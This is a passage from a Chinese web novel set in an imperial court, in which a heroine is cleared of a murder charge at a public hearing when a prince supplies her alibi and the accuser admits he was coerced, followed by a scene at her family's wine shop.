什么人啊,之前费劲功夫打探,更是不惜每日一求亲,现在人在面前了竟然还这样,活该被收拾 宋行之暗戳戳提醒,但是提醒完了,见他还是一副阴森的鬼模样,更是翻了个白眼,懒得再提醒人了 他现在也唬得很呢 比起这俩,宋顺之沉默地站在一边,看不出个什么,宋安之和宋清之兄弟俩蹲在一旁鬼鬼祟祟,虽然依旧一个字不说,但是眼神什么都说了 宋安之:‘是他吗?’ 宋清之:‘有点像’ 宋安之:‘但是好像又不像’ 宋清之:‘到底是不是?’ 宋安之:‘狗知道’ 宋清之:‘对,狗知道’ …… 兄弟几个之间心眼颇多,但是随着那边的齐晔齐铮过来,也很快放下乱七八糟的心绪,一个个站起身子,冲着行礼 齐晔大手一挥:“微服出访,不讲究这些,你们这五个,不对,六个人站在一起,还真就跟亲兄弟似的,怎么,这边也是老宋捡的孩子?” 兄弟五个侧头看去,简直如鲠在喉 别说别说,不会吧? 宋安之和宋清之惊悚,宋慎之警惕深沉捏拳,宋顺之继续沉默 宋行之,一言难尽 他擦擦冷汗:“您说笑了,这位,岐王殿下应该比我们熟” 齐晔挑眉:“是吗?阿铮,你认识这位公子?怎么认识的?” 齐铮看向那依旧一副温和淡雅模样的人,再看一眼他身侧面无表情的牛铁兰,心中有些了然,轻声道:“曲公子,是孩儿在外寻到的,他受伤失忆,不知来历,应是外地来的,和夫人,有些旧情” 齐晔看去那还放在人肩膀上的手,意味深长:“旧情?我看,怎么像旧情人?这位曲公子,你可知道牛夫人是谁的人?” 曲茂泽放下手,温和轻声:“在下曲茂泽参见陛下,在我看来,夫人不是任何人的人,她就是她,有自己选择的权力” 齐晔沉下脸:“你胆子倒是大,宋首辅现在生死未知,你就当众撬墙角,你就如此,当真不怕我治你的罪?” 曲茂泽不卑不亢:“请问陛下,以什么名义治罪?莫说宋首辅不在,就是他在这,我也得问一句,我和夫人两情相悦,有什么罪?” 齐晔沉着脸:“两情相悦?你说是就是,若不是,你就是骚扰一品大臣的妻子,拉下去打三十大板” 曲茂泽状似迟疑:“竟然还能这样?这……” 齐晔:“自然,牛夫人,你说是不是?你放心,有什么事直接说,朕给你做主” 两个人说着,齐齐看向了牛铁兰 牛铁兰听着他们一唱一和,心道果然不愧是一起打天下的人,就是很有默契,两个不要脸的老东西 让她说什么? 不是两情相悦?这可是皇上,谁知道这老东西又会说什么出来,欺君可是大罪 两情相悦?他梦得他吧,当初就那么花言巧语就把她骗下,现在又来这一套 牛铁兰咬了咬唇,思索一会儿,轻声细语:“这些无关紧要的事情,怎需要陛下费心?倒是金金之事,外面闹得沸沸扬扬,也不知道后面会如何,会不会影响您的皇威” 眼看着她被架着,齐铮也跟着开口:“夫人莫要担心,郡主既是无辜,此事就无其他可能,至于流言,止于智者。无智者,更是没什么好在意的。爹你如何看?” 本来只是抱着凑热闹挑事心态的齐晔虎躯一震,那双眼睛瞬间都亮了起来 爹 他儿子叫爹了 这都多久了啊,真的是听得他眼眶都湿润了,哪里还管什么老朋友不老朋友的,他不当众和人炫耀都是自己稳得住 齐晔理理嗓子:“爹觉得,我儿说得不错,我看时间也快到了,我们去一旁听审吧。我倒是看看,是哪些狗胆包天的人在永安城惹事” 齐铮点头:“那我们过去吧” 齐晔:“好好好,走吧” 说话间,齐晔完全忘了身后的人,不过等到走远了,他还是不忘给了个炫耀的得意表情 哟哟哟,我儿子叫爹了,你女儿呢? 哦,还在外面扣 着呢 曲茂泽:…… 啧,烦人 说得好像谁没儿子似的,他那么多儿子,见他炫耀了吗? 啧,又不是什么值钱玩意儿 …… 正堂纷纷闹闹,后面也不遑多让 宋锦已经整理好了易容,一袭干净整洁的红芍金丝裙,头上是金蝶红宝石珠钗,整个人明媚富丽,像是刚走出家门准备参宴的大家小姐,一点儿也看不出是个在牢里蹲了六日的犯人 和旁边的案件受害人戴家兄弟俩形成鲜明对比 他们是老老实实坐牢的人,六日下来,两个人穿的衣服皱皱巴巴,身上脑袋上是摘不完整的稻草渣子,脸上也脏兮兮的,黑眼圈,皮肤干黄,嘴唇裂开还有血渍 尤其是戴元华,那张平日过于精致的脸,这会儿脏兮兮的,上面血渍疤痕很是明显,一看就是撞的,脑袋更是乱糟糟的 这一身下来,还不比福哥几个正经小乞丐来得干净呢 他这段时间悲怆过度,现在再一见到宋锦这个杀人犯这般鲜亮,狰狞着神情就要冲过来替母报仇 戴元华咬着牙:“放开我,放开,我要杀了这个毒妇,杀了她啊,大哥你放开我……” 戴元宏眼睛通红,死死抓着戴元华,让他冷静一点 宋锦站在哪儿抱着手,打着哈欠,只觉得他们有些无聊 而她这态度,看得戴元华愤恨加深,一股力突然爆发,直接推开了戴元宏就朝着宋锦冲了过来,报复的心非常强烈 看得出来他对候巧荷的感情很深,倒是比平日那副傻白甜智障模样更顺眼 当然,这一点儿也不影响宋锦直接一脚过去,再掀着他的手把人扔开 戴元华闷哼一声,捂着腿在地上呻吟 戴元宏脸色大变,急匆匆跑过去:“阿华” 宋锦懒洋洋打着哈欠:“没用力,死不了,不用担心” 戴元宏心疼地看着人,敢怒不敢言:“谢郡主手下留情” 戴元华咬牙:“不,不许求情,哥,娘,娘她” 说着,大颗大颗的眼泪就从他眼里落了下来,他神色扭曲,痛苦又悲愤,那真情实意的,没人会怀疑他对候巧荷的情谊 他和他娘关系定然很好 同样和娘亲关系很好的宋锦多了两分恻隐之心,她吞下嘴里的风凉话,也不再介意这兄弟俩害自己蹲大牢的事了 宋锦撇撇嘴,看向一边的衙役:“还有多久开始?” 衙役擦着冷汗:“快了,也就一两刻钟的事,郡主别急” 宋锦点点头,靠在一旁的墙上等待开庭 大约一刻钟的功夫,正堂那边传来了喝声:“传被告和犯人上堂” 宋锦这才跟着往正堂进去,一去就晃着脑袋,在里面找着自己老娘,很快就锁定了人,开开心心跑了过去抱住人 “娘,我好想你啊” 牛铁兰也少有这么久没见到人的,她眼睛一酸,轻轻拍拍后背:“娘也想你” 宋锦抱怨:“想我你不来看我” 牛铁兰手一顿,不自在地垂眸:“就你这还能上山打虎的架势,有什么好担心的?” 宋锦轻哼一声,松开人,仔细打量起牛铁兰 让她看看,这几日她不在,她娘这 脸蛋红润、气血充实…… 她不在的日子里,她娘真是一点儿也没亏待自己啊 真是让人又开心 又好气啊 尤其是再看看旁边一脸笑容的曲茂泽,宋锦一个白眼过去,转身就走回自己的犯人位去了 曲茂泽:…… 真是一点儿面子都不给啊 她回归原位了,堂上的李献也松了口气,拿起手边的堂木重重敲下,堂上的吵闹声一点点落下 李献:“戴氏兄弟二人状告明光郡主杀母一案,正式开审。戴元宏戴元华,我问你们,你们是否坚持状告明光郡主?若此事有异,为你们冤枉郡主,时候可是会被流放的,现在还有反悔的余地” 戴元宏还没说话 戴元华想也不想地扣地重重磕头,悲愤:“我不反悔,我就是死也要告她杀害我娘,我娘,我娘,她死得好冤啊” 李献敲木,又道:“戴元宏,你也坚持?” 戴元宏迟疑一瞬,下意识看向一旁的曲茂泽,又火烧一般收回,深吸一口气:“我,坚持,明光郡主杀害我娘,证据确凿,她必须为我娘偿命” 李献点头,又看向懒懒散散站在那儿的宋锦,问:“明光郡主是否认罪?” 宋锦打哈欠:“不是我干的为什么要认?” 李现:“既然你们双方都不认罪,那此案继续,原告戴氏兄弟二人坚持是郡主杀害其母,并呈上证据,明光郡主的佩刀,郡主有何解释?” 宋锦懒洋洋:“我在都城得罪了那么多人,人想找我的贴身之物了一点不难,这种身外之物算的了什么?我扔掉的手绢、珠钗、荷包数不胜数,你若是有心,去外面街头喊两声高价回收,半天都能收集一箱” 李献还没来得及说话,底下就有人喊道 “郡主没乱说,她最喜欢丢东西了,我上次还捡了她的香囊,里面还有蜜饯咧,家里孩子吃得可开心了” “我捡了银簪子,她弄断了扔的,我换了两个大钱” “手绢更多了,我们那边小崽子都喜欢更她后面” …… 这你一句我一句的,听得李献嘴角一抽,只能在心里感叹宋锦确实是个散财童子 他打断那些人的话,继续:“除了这个证据,戴氏兄弟二人称,在前一日,受害人候巧荷去了宋府,带伤回府,半夜便被人谋害,郡主可有话说?” 宋锦摆手:“我和她有些旧怨,也不至于上赶着第二日杀人吧?这是生怕别人不怀疑我?再说,这些都只能说是线索,当不得证据” 李献点了点头,看向另一边,一个衙役端着木盘过来,上面是意见衣裙,裙上还有鲜血 他道:“候巧荷死之前,手上攥着碎布,刚好与郡主的衣服重合,这一点,郡主有何解释?” 宋锦错愕:“哪儿来的?你们那日可没在我房间搜出来” 李献颔首:“府中有人鬼祟惊疑,我派人查探得之,郡主只说,这是不是你的衣物” 宋锦皱起眉头,下意识看向另一旁的齐铮 齐铮神情和往日一般冷肃,没什么变化,冲着她轻轻颔首,表示无需担心 宋锦放下心来,点头:“是我的,也是前一日的衣服,那天下大雨,我换了好几身衣服,都交给了丫鬟清洗” 虽然不知道他们到底要做什么,但是宋锦对齐铮,还是信任的 说一百道一万,作为皇权时代最尊贵的二人,他们父子俩若真想针对他们,根本用不着费这么大功夫 戴元华又吼:“匕首是别人拿的,衣服是别人染的,就你没罪是吧?你以为你是谁,有那么多人想陷害你?看看你的嘴脸吧,你个毒妇,杀人偿命,你就该被千刀万剐,五马分尸唔唔死无全唔唔” 戴元宏死死按住人,感受着宋府看过来的目光,提心吊胆 可别说了,再说下去,等出了衙,这些死法就得落到他们兄弟二人身上了 “请大人莫怪,我娘的事对他打击太大了,她那日还好好的,突然就,就”戴元宏有些虚弱,他按着戴元华一起磕头,“请大人为我娘申冤” 看着乱糟糟的底下,李献摇了摇头,继续:“带证人进来” 宋锦挑眉,也跟着转过身来,想看看这所谓的‘证人’,这一看 好家伙 她啧啧两下,朝着另一边的宋行之看了过去 来人是春鸢和夏花 她们是宋锦牛铁兰初到宋府时候,帮着照看她们,教小眉小耳事故的大丫鬟,也是宋行之的贴身丫鬟 更是,当初他费力亲手救回来、一点点教字识书的房里人 这些年两人的吃穿用度,更是赛过了都城大部分贵女 宋行之站在宋家堆里,迎着所有人的怒目,闭了闭眼,心里一阵凄痛 他想不通【你现在阅读的是 】 90-100 第91章 格杀勿论 “我,我那日,寅时起来,到了后院,见到大小姐匆匆忙忙在井边站着,她见到我就把手中衣物给我, 让我帮着马上洗了别让人看见……” 衙堂之上,春鸢穿着甘青鹤鸟锦衣,跪在地上,哆哆嗦嗦地说这那日宋锦是如何把那件衣服交给她,她又是如何在害怕之下藏起东西直到被发现 一副忠心耿耿,内疚后悔,但是又被正义裹挟的复杂模样 “奴婢之后见春鸢神色不对,联想到近日传言,也惶惶不安,不知如何,直到被大人发现不对”等她说完,夏花也跟着开口,说完之后,她转过身子就冲着宋家方向哐哐磕头,脸上全是惊惧后怕,她哭喊着 “奴婢真的不是故意的,大少爷你不要发卖我,求求你了” 哭嚎间,她手上袖子被卷起,上面大小伤疤不断,随着动作都还有血渍划下 人群中发出一阵惊呼 宋行之站在那儿静静看着她们说着,脸上的神色一点点淡去,一颗心也跟着凉去 如果是院里其他人,他虽然也会失落心凉,但是不会像现在这般 他院里的其他人可以说都是他贪图美色贪恋温柔小意从外面带回来的,唯独春鸢和夏花不是 春鸢是他在岭南之乱中,折了一只手救回来的,夏花则是他十岁那年从花柳之地赎身带回来的,两个人当时都是奄奄一息,带回来之后修养都花了不少功夫 两人这些年在宋家的吃穿用度,已经塞过大部分富贵人家的小姐待遇了 琴棋书画、诗书礼仪无一不通 宋行之所废的心力不少 两个人的叛变对他的刺激可想而知了 宋锦站在一旁,看着春鸢夏花两人哭得泣不成声,那小模样,好像出去就得被打死一般,她啧啧两声:“不是,你们现在这么怕,说话的时候怎么不怕了?怎么,已经联系好了外人,出了这个府衙就不是宋府丫头了?” 这年头丫鬟作为奴人,虽然说明面上不能随意打杀,但是作为主家,真想收拾人,那方法多了去了。 这两人可以说生杀大权都在宋家 她们这背叛陷害的,不会真以为回去后宋行之还能护着她们吧?那是得多恋爱脑才会这样啊 春鸢擦着眼泪,一脸倔意:“春鸢的命就是大少爷的,这次虽非我本意,但是我该死,回去后我任由少爷打杀,也是我的命” 夏花低泣:“夏花想活,求郡主饶我一命” …… 两人容貌妍丽,都是一等一的美人儿,便是跪趴哭泣也梨花带雨,也我见犹怜 相比之下,宋锦那大高个,双手抱胸,大摇大摆站在一旁,一看就是个恶主子 百姓人群立马纷扰了起来 “这以后可怎么办啊” “回去不就没命了?” “这以后谁还敢作证了?” …… 现在乱糟糟的,李献又敲敲堂木,压下杂闹声,一脸严肃:“你们安心作证,只要你们所言不假,本官自然会为你们做主,等此事过去,去了你们奴籍,让你们换地生活” 春鸢和夏花赶紧磕头:“谢大人,谢谢大人” 宋锦撇嘴:“别谢了,你说我寅时把衣服给你是吧?” 春鸢咬唇:“左右不过卯时,天还没亮清,我本来都要洗了,突然看到血渍,就害怕,大小姐,你认罪吧。你贵为郡主,就是杀了人也左右不过流放,到了地方几个少爷替你运作一番,你就又能做你的大小姐,何必让我们这些小丫鬟垫命呢” 不得不说,不愧是宋行之教出来的人,还是很会挑情绪的 听审的百姓们再次交头接耳起来,看向李献等官员的目光都带上几分不信任 宋锦挑眉:“小丫鬟?你知道什么是小丫鬟吗?你脖子上的玉佩,随便有个二三百两吧?就那一身衣服,普通百姓一家人攒一年也买不起,你管自己叫小丫鬟?” 夏花磕头:“大小姐骂得是,我们吃宋家住宋家,现在还没藏住事暴露了大小姐,我们罪该万死” …… 看着两个丫鬟在那里你一句我一句 这边宋家的兄弟四个都要气爆了 宋顺之也难得冷下了脸:“老大你自己看看你养的什么” 宋慎之森森:“吃里扒外的狗东西,等会去定要扒了她们的皮” 宋安之也冷下了桃花面:“我的刑具正好还缺人试” 宋清之咬牙切齿:“我要让她们把这些年吃的花的都给我吐出来” 宋行之说不出话来,只是手上拳头不断捏紧,一双桃花眼也跟着红了起来 牛铁兰坐在一旁,瞥了几眼,对此却是一点儿也不奇怪的 都说女子无才便是德 准确点就是,没有才、没见过世面的女子好控制,放在后院很安全 你让她学了才识,给她见了外面的世界,让她会自己分辨控制,又把她控在后院,扔一群同样无力的女人堆里 反噬一点儿也不奇怪 人有时候就是很奇怪,能忍同样的事情忍一辈子,却会因为一次无关紧要的小事而爆发 牛铁兰挪开目光,看向身侧站着的曲茂泽,用眼神询问他不说点什么 曲茂泽嘴角噙笑,嘴唇微动,活该两个字格外明显 牛铁兰:…… 这人可真没个当爹的样 不过和她没关系,她现在更担心堂上的宋锦,见那两个丫鬟又磕头说些有的没的,眉头也一点点蹙了起来 曲茂泽伸手将其抚平,轻声:“别担心,无事” 牛铁兰不仅没被安抚,反而更恼了,一巴掌拍下他的手,冷笑:“你自然不会担心,一边去别来烦我” 曲茂泽指节微曲,有些无奈地刮了刮她的眉心,在她又一轮瞪目前,让她看像堂上 在春鸢和夏花再三确定之中,李献击木:“现在证据确凿,人证物证皆有,郡主可还有什么好说的?” 宋锦站在堂上,看着两个妍丽机敏的丫鬟,轻轻地叹了声气 说实话,要不是那日她确有不在场的证据,这两人一站出来,这事情还真有些说不清了。但是也正是因为两人站出来,她这次的事情绝对会洗得清清白白 宋锦怜悯地看着两人:“最后问你们一遍,现在说出背后之人,你们还能有条活路” 春鸢磕头:“求郡主放过,求郡主放过,春鸢所说,句句属实啊” 夏花擦着泪水,就要往柱上撞去:“郡主无需这样,奴婢这就以死谢罪” 她这一撞,立马就触动了丧母的戴元华,他跟着一声哭嚎:“娘,孩儿无能,不能为你报仇,孩儿下去陪你了” 当然,撞是撞不上的 外面的百姓议论声一点点大了起来,声音中全是抗议和痛骂 流言这玩意儿,说严重不严重,说无事,百姓和衙门的信任就是这般一点点破裂,最后形成大壑,足以让其他人悄无声息穿过 宋锦脸上漫不经心之色淡去,她正色起来,沉声:“别在这要死要活的,你们不珍惜机会,我也不用给你们留面子了。还有那边那个智障玩意儿,动动你的脑子想一想,我都大半夜出门杀你娘了,还把衣服带回家洗?我就不能直接扔在外面烧了吗?” 戴元华哭嚎:“你回去不用穿衣服吗?” 宋锦卡了一下:“……那我换个说法,我回去了再烧” 戴元华又道:“你是怕衣服少了被查到,这些都有记录的” 这就触及到宋锦的盲区了,她以前衣服都是随便放的,过来宋府以后也没管过,她自己都不知道自己有多少身衣服 但是看看其他人的表情,她这个理由好像确实说不通了 宋锦干咳一声:“这样啊” 戴元华肿着眼,看着她不在意的模样,恨意增深:“你还有什么要说的?你个杀人犯,就是你杀的我娘” 宋锦嘴角一抽,摆了摆手:“真不是,按着他们说的酉时,这个时间,我在城外两百里的上杨村,我就是飞,也飞不了这么快吧?” 戴元华不信:“你有什么证据?” “我” 一路旁观的齐铮站了出来 ,他一袭低调的灰色长袍,领间狐皮又增着贵气,低调华贵,他身形高大,站在堂上边遮住大半光亮 百姓之中有不认识他的,也交头接耳地打听起来,很快就更兴奋疑惑了 齐铮端然站在宋锦旁边,冷冽又肃穆,气势强大,肉眼可见的很不好惹,但是与此同时,又正气十足 他看了眼宋锦,便道:“当日整晚,明光郡主都与我同在” 现场再次哗然 孤男寡女,一个晚上…… 戴元华不可置信,大吼:“不可能,你说是就是?你们认识,你肯定在帮她说话” 齐铮沉声:“空口自然无信,我们在城外上外村歇过脚,村民自然有印象,山中火堆皮羽,甚至断裂的枝叶鸡犬皆能作证,卯时之后出发,到城门已是巳时,期间明光郡主带了一路进城卖鸡的老翁,回程路上买了糖葫芦,这些都能作证。” 戴元华跌在地上,依旧不敢相信,喃喃:“你门是王爷郡主,你们找人,谁说得准是不是被你们收买了” 这倔头倔脑的,宋锦可算是感受到之前曲茂泽被缠上时的烦躁了 真是有理也说不清,这人就跟那乌龟一样,平日看着呆头呆脑,咬住人就不放口了啊 宋锦撩了撩袖子,当即就要上去给人痛揍一顿 齐铮拉住她,按着她的手腕,静静看着趴在地上,依旧不可置信的戴元华,然后转向他的旁边,沉沉:“戴元宏,都到这一步了,你还是什么都不说吗?” 戴元宏失力一般,倒在地上,在戴元华呆呆的目光下,他扯着嘴皮,凄苦道 “若非逼不得已,我也不愿如此,我甘愿受罚,流放处死都行,但是小弟是无辜的,他什么都不知道,求王爷,求王爷救救我娘,救救我娘,她,她被人抓走了,都是那人指使的……” 全场哗然 就连宋锦都瞪大了眼睛:“哈?救你娘?你娘不是死了吗?” 感情在逗她玩呢?她是猴子吗这么好玩? 戴元宏:“那不是我娘,是我娘的贴身婢女点翠,那日她突然说我娘寻我,我过去之后,便见我娘被她所挟,旁边还有,还有两人,他们武艺高强,当着我的面杀了点翠,又挟着我娘,我,我,我无能,只能听他们的……” 经戴元宏这么一说,这场郡主因一时意气虐杀人的事件成了一场闹剧,却又带来了更大的狐疑 这背后之人是谁?他背后之意又是什么? 百姓们惊疑接耳 唯有戴元华呆呆地看着他大哥:“娘,娘她,真的,真的” 戴元宏心疼又愧疚地看着他头上的伤口,低低点头:“娘还活着” 戴元华又像个石头一样呆愣,随机一双红肿的眼睛亮了起来,再然后,他哇的一声,哭嚎着朝着宋锦扑了过来 “救救我娘,救救我娘,求郡主了,求郡主救救我娘……” 这次没让宋锦出手,齐铮面色不变,轻轻一押,就把人束在了地上 但是喊谁不是喊呢 戴元华手一反,抱住齐铮的大腿继续哭嚎:“王爷,王爷,求求你救救我娘,我下辈子给你做牛做马” 一点儿诚意都没有 宋锦嘴角一抽,走过去直接给人一脚,眼看着他就跟那牛皮膏药一般手一反就要转回来,齐铮又补了一脚 他还是黏了上来 宋锦和齐铮皆挑了挑眉 这人有点不对劲啊 最后还是戴元宏扑过来按住自己的弟弟,尴尬又惊惧道:“求,求郡主和王爷救救我娘” 宋锦撇嘴:“这你应该去和李大人说,我可动不了” 齐铮轻轻颔首:“你无凭无据,我们如何救人?你可知那些人是谁?又或者,可还记得他们的长相、口音” 不等他说完,戴元宏已经迫不及待地打断他:“记得,我认得那人,那人,那人在那之前就已经胁迫过我,我,我罪该万死,但是我娘小弟是无辜的,求大人们救救我娘” 这又牵扯处一桩事情 齐铮下意识看向另一边,他爹齐晔坐在那儿,目光晦涩,看不出表情,另一侧的曲茂泽站在牛铁兰身旁,手绕着青丝,嘴角噙笑,一副预料之中的笃定样 他在心中叹气,面上继续冷肃,问:“是何人?” 戴元宏脸上闪过惊恐,迟疑:“我,我,我我怕说了” 齐铮:“你不想救你娘了?” 戴元宏迟疑之下,像是在做什么重大决定一般,狠狠咬牙:“是,是英国公府的人,他以为我不知道,但是我之前小心跟踪,亲眼看到他进英国公府,和里面管家有说有笑” 现场又是哗然 齐铮神色更肃几分,正要说什么 一直观望的齐晔却突然起身,沉着声音:“你一会儿控告郡主,一会儿又是英国公府,当过家家呢?你可是,诬陷公爵,罪当处死” 戴元宏咬牙:“我发誓,我现在所说绝无半点虚言,便是处死我也甘愿,只求救出我娘,放过我那什么都不知道的小弟” 齐晔深深看着他:“你有何证据?” 戴元宏看着齐晔那张和齐铮像极了的脸,整个人都有些颤抖,下意识想看向另一侧曲茂泽那儿,又被他狠狠压下,他趴在地上,深呼吸道 “我不知道那人名字,但是那人身形矮小不到五尺,长得格外方正,鼻子塌,耳下有一颗黑痣,名字里有个羊字,他抓走我娘那日,手腕被家里猫抓伤。” 齐晔:“口说无凭,可还有其他的?你刚才说上一次威胁你,威胁你做什么了?” 戴元宏手颤着,呼吸也重了几分,额头上汗水一点点流下 齐晔不怒自威:“你可要想清楚了,欺君之罪,你但不担得起” 戴元宏顶着一脑袋的汗抬起头,双手放在身侧,紧紧握住,艰难道:“我,草民,草民在城外有一座庄子,三月前,送予那人。一开始,草民以为只是贪图财物,直到后面,后面” 齐晔目光深深:“后面什么?” 戴元宏此刻是真的惧怕了起来,但是做过的事情,迟早会露出马脚,他苦涩:“后面,宋首辅出事,草民的庄子也被一场大火烧毁,草民回去小心查探,在其中找到了,找到了英国公府的令牌。草民罪当万死,但是求陛下救救我娘,求陛下……” 事情一开始,宋锦蹲大牢 事情到后面,跟她完全没什么关系了,她站在一旁,听得眼睛圆圆,嘴巴也长了起来 这都能扯上啊 总感觉哪里怪怪的 宋锦按住自己的下巴合上,转过脑袋往宋家看去 宋家兄弟五个完全沉下了脸,一个个目光冰冷,整个气压都低了下去 宋慎之率先一步,屈膝而下,长刀扣地,声音斩钉截铁:“杀父之仇不共戴天,陛下,臣斗胆请求带兵彻查家父一事” 宋行之、宋顺之、宋安之和宋清之紧跟其后 兄弟五个整整齐齐:“请陛下彻查” 齐晔立于中心,隔着他们五个,遥遥和另一头改头换面的曲茂泽隔空相望 时光远逝去,他站在最高的位置,走向暮年,而老友又重回从前 齐晔仿若站回了那些兵荒马乱的年岁,那些年血流成河、尸横遍野,侥幸存活之人也麻木无神,天下一片死寂 当时十七八岁意气风发的宋商只是一无所有的平民百姓,他说,齐哥不试试怎么知道不行? 而现在,年近四十的首辅宋商又抛下拥有的一切,说,陛下不试试怎么知道行! 斩草不除根 后患无穷 齐晔轻轻闭眼,再睁开,身为帝王的气势全开,目光所过之处全部跪下,府衙之内鸦雀无声 他沉声:“宋首辅二十年来为国为民殚精竭力,现被人谋害生死不明,宋将军之意,朕准了” “无论凶手是谁,格杀、勿论” 第92章 其实心很软 “就见那堂上局势瞬间一转,岐王一句,我——” “金玉阁戴公子言:我愿赴死受罚,但求救母一命” “宋首辅生死未知” …… 永安城最大的说书坊里,说书先生手持堂木快板,激动地说着昨日应天府的情景 他作为永安城最厉害的说书人也少有碰上这么有意思的案子,昨日一回来以后就迅速的把东西写了下来,凭借着多年的说书经验,绘声绘色的将其叙述了起来 一会儿停顿,一会儿反问,一会儿营造氛围 便是不少人已经知道了事情最后的结果,依旧听得欢喜惊疑 如果宋锦不是作为当事人的话,她也一定能听得津津有味,但是作为这次案件的典型受害人,她坐在二楼,有一下每一下都嗑着瓜子,很是郁闷 故事很好,但是她很惨 宋锦微微鼓起嘴,趴在桌子上,郁闷:“这都什么事啊,闹来闹去,跟我就没有关系,还把我关进去,我都没空陪我娘,让那个心机男趁虚而入……” 齐铮坐在对面, 看着她没精打采的趴在那里,本来就弄得不是很到位的簪子松下,头发松松垮垮,看起来毛茸茸的,随着她的动作轻晃 他手指微动,还是没忍住,伸手过去摘下木簪 顺滑的青丝如瀑一般落下,散在她肩膀桌面之上 本来还在抱怨着的宋锦侧过脑袋,凤眸对着窗光,一闪一闪:“干嘛?” 齐铮没有说话,他垂着眸子,大手轻轻穿过她黑亮的青丝,轻轻梳过,再轻轻一挽,一个标准的发髻就梳好了 宋锦挑起眉头,伸手摸了摸脑袋上的发髻,惊奇:“你还有这一手啊” 前世,为了方便,宋锦一直都是齐脖的短发,到了这边,虽然已经梳了十来年的长发,但是在镇上的时候,她经常用绳子先捆一圈再簪,这样会简单很多 过来都城了,她不能这般随意了 偷懒偷习惯了,簪发技术就不太行 她头发又长又重,动作幅度又大,经常跑着跑着就乱七八糟了 齐铮闯荡江湖这么多年,弄头发不说花样,稳这一点赛过绝大部分人了 他捻了捻手,上面还带这些桂花香气,是宋府金桂的味道,她昨日定然回府后泡过才能有这个味道 这样一想,齐铮又有些不自在了起来,回道:“没有丫鬟替你弄?” 宋锦撇了撇嘴,没精打采:“我娘让她们出去玩了” 齐铮:“……所有丫鬟?” 宋锦:“小眉小耳,其他丫鬟不太熟,再说了,一个头发都要让人弄,我又不是没有手” 只是不太利索罢了 齐铮无言,端起一旁的茶水压了压,又问:“夫人呢?明日就该治病了,你怎么不陪着她?” 反倒有时间出来玩,不符合她平日的作风 听到这,宋锦抬起脑袋:“我娘让我出来看看铺子” 结果刚出来就碰上齐铮的车马,他们就跑到说书坊间来了,完全忘了她的正事 宋锦理直气壮:“几个铺子有什么好看的?都有人管着呢,再说了,这才过几天啊” 齐铮联想这几日的事情,轻声:“去看看就知道了” 宋锦撇撇嘴不以为然 但是活还是得干的 她拿起一边的茶喝了两口,又把桌子上的吃食物倒拢布袋子,最后桌下脚越过桌子踢了踢齐铮的凳子 齐铮轻轻叹气,招手:“小二,结账” …… 说书访在西区,和东区有不小的距离 他们坐着马车过去,也过了小半个时辰才到 第一家依旧是最为熟悉的酒铺,铺子,门可罗雀,几个小崽子穿着干净的衣服,挂着小红花坐在门前的阶梯上,一脸无聊 和之前两模两样 宋锦掀开车帘见到这一幕,有些懵:“就,就倒闭了?” 齐铮也有些意外,按道理来说,这桩案子结束之后,她们店里的人应该很多才是 两个人都带着疑问下了车 马车就停在店子外面,两个人乍一下来,几个小崽子就看到了人,眼睛一亮,哒哒哒就跑了过来,一脸兴奋雀跃 “郡主~” 等真跑了过来,看着冷肃的齐铮,他们兴奋劲一点点褪去,几个人站好,恭敬整齐地行礼:“参见岐王殿下” 宋锦哟了一声 这才几日不见,几个小崽子有模有样的,看样子没少受‘折磨’啊 不过也是自找的,找上谁不好,非要找上这个古板端正、又每日都在学习的新王爷头上 齐铮没理宋锦的调侃,冲着四个孩子颔首:“免礼,今日店中怎么无人?” 福哥挠头:“东西都卖完了,店里的酒没了,就连库房的酒也卖完了,曹老板回村调货去了,我们就坐着休息一下,马上就要关门了” 宋锦惊讶:“卖完了?镇店之酒也卖了?” 她没记错的话,那酒库里普通酒都有个五六百两的,那种好酒更是跑的好山参,价值千两,留着镇店的 小花得意:“卖完啦,昨天今天来了很多人,一买就一大堆,今天更是有人过来包圆,曹老板没同意,每家限了量最多一大坛子,还是一上午就卖完了” 宋锦皱起了眉 齐铮:“都城里都是人精,宋家势弱,他们都想踩上两脚,现在宋家势强,想进办法也想拉上关系” 而母女俩的店铺就是最明显的 甚至宋清之名下的产业也这般 宋家势弱的这段时间普普通通,和之前说宋商在的时候差距明显,现在眼看着宋家五子能扛起宋家,感受到上面皇帝齐晔确实没有收拾宋家的意思,形势又发生转变了 宋锦啧了一声,目光微凉:“一群墙头草软骨头” 齐铮轻声:“不过是小人物的生存之道罢了” 都说锦上添花易,雪中送炭难,其实能在弱势之时,不落进下石就已经胜过了太多人 眼前几个小孩子,都被教得很好,都是重情重义之人 宋锦揪揪一点儿不认生,又抱住自己大腿的奶包子宁宁,故作嫌弃:“一身臭汗,别抱我” 宁宁奶声奶气:“香香,宁宁香香,宁宁有香包” 她垫着脚,晃晃腰间的小香包 比起最开始就一个破破烂烂的空钱袋,现在的她身上多了香囊、红绳、簪子…… 其实不值什么钱,就是以前的,福哥也能自己给她做,只不过他们这些无父无母没有靠山的小崽子,打扮得好在外并不是一件好事 现在有了地方住,有了工作,也有一点仪仗,他们也不再是以前的小可怜了 宁宁抱着宋锦的腿,甜滋滋道:“郡主,好好” 宋锦捏捏她的脸:“说好听话也没用” 话是这么说这,她还是把手中打包的糕点花生这些给了她 她自然是不缺钱的,顿顿请这些个小崽子也没问题,但是升米恩斗米仇,没这个必要,更别说几个孩子也有自尊心 能靠自己双手赚钱攒钱,没谁会想继续当小乞儿 并不需要那些华而不实的施舍 这样顺手的就刚刚好 若是包装很好的东西,几个人都会迟疑,这种一看就很随意的,宁宁立马松开宋锦,喜滋滋地打开包包,跑过去和福哥、小花胜哥三个分了起来 四个人这些天关系处得很好,就跟一家人似的 宋锦啧啧摇头,抱起手,又看向另一边的人:“你怎么又过来了?这么闲?” 杨彦珺耸肩:“孤身一人,在哪儿都可以,倒是你,这小脸白里透红的,这几天在牢里日子过得不错啊” 宋锦得意:“区区地牢,小意思而已” 这心态,杨彦珺很是佩服,忍不住问道:“你当真一点儿不在意啊?那可是坐牢哎” 宋锦:“吃好喝好,牢里还有一堆有意思的人,有什么好在意的?” 杨彦珺忍不住:“比如说婚配” 宋锦啧:“那是什么玩意儿?” 杨彦珺:“背后的闲言碎语,异样的目光” 宋锦:“背后?我又听不到,有本事当面说呗,至于目光,我瞅瞅” 说着,她掰着手指,转过头看向周边的商铺行人 那些人瞬间挪开目光,装模作样地聊天,看向其他地方去了 宋锦收回目光,无所谓道:“就这,有什么好在意的?” 杨彦珺看着她坦然又坚定的模样,嘴张了又闭嘴,闭了又张,神色一点点复杂了下去,轻声:“你比我厉害” 